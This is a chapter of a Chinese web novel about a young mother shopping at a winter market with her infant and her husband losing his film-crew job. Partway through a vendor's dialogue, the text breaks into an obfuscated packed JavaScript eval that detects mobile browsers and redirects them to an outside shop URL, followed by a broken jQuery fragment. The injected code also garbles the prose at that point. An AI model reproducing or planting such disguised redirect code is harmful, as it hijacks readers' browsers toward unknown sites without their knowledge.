第二天一早,随秋生像往常一样起来去上工。
任月兰也早早起床,给孩子喂完奶时候,把新衣服给她换上。
粉色的小羽绒服,做工精致,帽子后面还带着两个兔耳朵,对于刚满月的婴儿来说有点太大了,但是任月兰也不要求正好,孩子还小,又不能走路,到哪还是要她抱着,大点的羽绒服只要掖好不透风就行了。
随荷被打扮好,活像个粉色的小荷花,乖乖缩在羽绒服里,眨着葡萄似的大眼睛盯着她看。
“要是你爸爸没走那么早就好了,能看见你穿这个衣服有多好看。”
任月兰抱着孩子出门。
离城中村不远有一个小型菜市场。
马上过年,菜市场卖菜的也没有几家,今天气温还低,昨天下了雪,今天雪冻成冰疙瘩,不小心踩上去滑一跤都是轻的。
任月兰抱着孩子小心翼翼的走,生怕摔跤。
她摔一跤无所谓,要是孩子摔倒可是大事。
小菜市场人不算多,但地上扔的都是烂叶子和一些辨不清是什么的东西,散发着恶臭。
她屏住呼吸,来到一家卖鸡鸭的摊位前。
禽类的腥臭味特别明显,摊位前是一个四五十岁的中年妇女,对蔓延的腥臭味恍若未决,见有客人过来,赶紧热情的招呼,“姑娘买什么,鸡鸭鹅我这都有,看看要哪个?”
“哎呦,你看着这么年轻都生孩子了?这小娃娃长得可真好看,比年画上面的还标致呢!”
任月兰笑笑,把孩子抱紧,然后指着其中一只格外健硕的大公鸡,“要这个吧,你这边能不能帮忙杀?”
“可以可以,没问题。”摊主喜滋滋道。
到年根底做生意不容易,好不容易来个爽快的个人可不能给放走,摊主立马伸手去抓她挑中的那只大公鸡。
一身漂亮羽毛的大公鸡似乎预感自己死到临头,长长的尖嘴疯狂的四处乱啄,脖子上的绒毛炸起一圈,看着就不好惹。
随荷天天不是躺在妈妈的怀抱里就是躺在床上,早就无聊透顶,听见大公鸡咯咯哒的叫声响彻云霄,挣扎的偏头去看,视线却被粉色羽绒服的帽子遮了个严严实实,顿时嗯嗯啊啊叫唤。
任月兰还以为她哪里不舒服,伸手替她整理身上的衣服,然后发现那一双水灵灵的大眼睛直勾勾盯着公鸡叫的方向,不由笑着点点她的小鼻头,“真是个鬼灵精,听到点动静好奇的不行。”
大公鸡负隅顽抗,却还是没躲过摊主的无情铁手。
摊主精准的掐住炸毛的鸡脖子,将它从笼子里拖出来。
大公鸡张开翅膀,用尽全力扑扇,还是没耐住摊主的菜刀。
刺啦一下,菜刀贴近鸡脖,找到隐藏在羽毛底下的血管,然后刀背一斜,锋利刀刃顿时了结一只大公鸡性命。
随荷努力扭着小脖子想去看,却被妈妈用手挡住眼睛,大公鸡的声音消失,她气得啊啊大叫。
任月兰忙着看摊主处理大公鸡,敷衍安慰两句,“好了好了,宝宝别闹,你现在还小,不能看这个,以后大了在看好不好,你乖乖的,妈妈买完菜马上带你回去。”
摊主处理好大公鸡,今天人少,闲着也没事干,她还特意用开水把羽毛烫掉,然后拔得干干净净,递给任月兰。
“你也是运气好,今天人少我才能给你处理的这么干净,要是前几天,连杀鸡的功夫都没有。”
“多谢大姐,要是我拿回家还真不知道怎么处理。”她附和着恭维。
假的,从小到大她家里活没少干,做饭洗衣都是她,怎么可能不会杀鸡,但好听话谁不会说,动两句嘴皮子又碍不着她什么事。
况且这鸡拿回家确实不太好处理,家里地方小,孩子还需要时时刻刻看着,万一杀鸡再吓着孩子那就得不偿失了。
“来,这是钱。”
任月兰递过钱,拎着大公鸡顺嘴打听,“大姐,这附近卖鱼的哪家新鲜?”
摊主接过钱数清楚,看她抱着孩子提东西不方便,悄悄凑近用气音道:“你身后左边那家,他们家别看摊位小,但都是新鲜货,右边那家不行,那鱼都是喂药长大的,你要是想吃鱼下奶,可不能买那家!”
说完就鬼鬼祟祟的四处张望,生怕自己说人家坏话被听见。
任月兰被下奶惊到,耳根子通红,反应过来后嗫嚅半天,嗯嗯应和着。
她生完孩子才十九,年轻,身体素质也好,生完孩子没过两天就能下床走动,给孩子喂奶也还行,小崽子能吃,但她也供应得上,还从来没有想过催奶这件事。
左边这家卖鱼的摊贩是个上年纪的老奶奶,一头花白的头发,坐在小板凳上守着面前不大的摊位。
“这个怎么买的?”任月兰指着一条鲫鱼问道。
“你要是拿,这条两块,要不要?”
或许是有口音,摊贩说话语气有点重,像是在赶客一般。
她旁边的另一家卖水产品的摊贩摊子很大,几大筐鱼虾几乎挤得老奶奶没有空档,听到他们的对话,笑眯眯招呼,“靓女买鱼啊,我家这的鱼好,新鲜还便宜,要不来我这看看?保管你买回去鲜得掉牙!”
听到他的话,摊贩老奶奶怒目而视,却碍于他年轻力壮,只能私下里嘟嘟囔囔的骂。
老人家战斗力强,骂半天不带重复的。
任月兰离她近,听了个一清二楚。
隔壁摊贩应该也能听见,但是默不作声,笑眯眯的看着她,瞧着和善的很。
两相一对比,大部分人心里头都会嘀咕,然后选择更和善的那家,任月兰也对他笑了笑,没有立刻回应,而是伸头去看他框里的鱼虾。
一个二个特别活跃,蹦得高高的,溅出来的水洒了一地。
“看看我这鱼的,多活波,新鲜的很,我一早上去塘里收的,都是新鲜货,我这人做生意就讲究一个实诚,这样才有回头客不是,你看看要不要,我给你抓条最好的!”
隔壁摊贩极力推荐,他的鱼确实活泼好动,但任月兰想起刚才那个摊主的话,再看看这些活泼到不正常的鱼,敬谢不敏。
退后两步对摊贩老奶奶说,“我要这个,帮我装起来吧。”
“这、这个?”摊贩老奶奶不确定的看向她,没想到事情峰回路转,自从隔壁的摊贩搬到这来,她就几乎没了生意,偏偏她还嘴笨,不会说话,这些天不知道被抢走了多少生意,这还是第一次有人在隔壁商贩的招揽下选择她。
老奶奶笑得合不拢嘴,原本看着有些刻薄的面相顿时回春,从邪恶老奶变成慈祥老奶。
随荷睁大眼睛看京剧变脸,小婴儿“哇”了一声。
“哎呦,这小娃娃长得可真俊!这咋生的这么好看,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094167|195582||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我看你年纪轻轻的没想到都生孩子了,呐,鱼拿好,好吃再来啊!”
她乐颠颠的,干枯的手把鱼递过去,然后收钱。
旁边的摊贩眼看着没抢到生意脸都气绿了。
自从他来到这个小菜市场,刚才抢生意那一招百试百灵,从没失手过,今天却在一个小丫头片子这扑了空,他恶狠狠的瞪着她们,全然没有一开始的开朗和善,
任月兰拎着鱼也没先走,而是转头对他说,“大哥不好意思,主要我这人脸皮薄,都先问这位大娘了,不好意思再去你那买,下次,等下次过来我看有合适的再照顾你生意。”
她笑眯眯的,态度也好,隔壁摊主听了有点挂不住脸上的表情,凶狠的眼神还没来得及收回来,脸上错愕又浮现,整个人有点割裂。
“这、这样啊,那你下次再来。”
任月兰笑着点点头离开。
随荷瞪大眼睛看着妈妈的处世哲学,上辈子自从爸爸离世,妈妈一个人拉扯她,性格就变得圆滑许多,从前那个锋芒毕露的精神小妹俨然换了个人似的,见人说人话,见鬼说鬼话,没有文凭和一技之长却依然把她拉扯长大。
原来妈妈本来就特别厉害啊。
小娃娃瞪大眼睛,崇拜的看向她。
任月兰注意到自家闺女的视线,不由笑道:“又作什么妖,乖乖的,妈妈一会就带你回去。”
随荷伸舌头吐泡泡,一脸的抗议,她哪里作妖了?
在菜市场买完菜回到家,任月兰胳膊已经酸的不行,或许是最近把小崽子喂的太好,她的体重增长飞快,从前那个一只手就能拿起来的小崽子,现在抱久了竟然也胳膊酸。
随荷浑然不觉自己的重量给妈妈增添了许多烦恼,眯愣着眼睛要睡不睡。
任月兰轻手轻脚的把孩子放到床上,把她哄睡之后立刻动手将新买的大公鸡.腌制起来,虽然现在天气冷,东西也经得住放,但一只大公鸡不便宜,要是放坏了她得心疼死。
忙忙碌碌一天过去,晚上随秋生还是八点多踩着风雪回来,一进家门就告诉了她一个突然的消息。
“副导演说我们提前放假,明天开始不用去了。”
任月兰瞪大眼睛,“怎么这么突然?那说什么时候再去上工吗?”
干零工就是这样,干一天活拿一天钱,要是歇一天,那这天的工资就没有。
随秋生抿了抿唇,本来打算瞒下来的事,在她急切期盼的眼神中败下阵来,苍白着脸说了实话,“今天剧组出现了点意外,有狂热粉丝追到片场,死活闹着女主演不能和别的男人发生亲密戏,现场闹的很凶,不少机器都被打砸,估计一时半会开不了机。”
“那、那该怎么办,他们有说什么时候能再拍吗?”
“可能不会在昆市拍了,本来剩下的那几场戏在哪里拍都行,在昆市也是因为导演想要赶工,暂时不想挪地方,但闹出这个事,导演已经决定带着剧组回沪市拍,不留在昆市了。”
回来的路上他整个人都是恍惚的,不知道回家怎么交代,本来想先瞒一瞒,等过完年他在出去找活干,可是一看见月兰,他就撒不了谎。
两人面对面站着,谁都没就说话。
过了一会,任月兰语气干涩,“就没一点挽回的余地?”
随秋生一愣,回想起什么,“有倒是有。”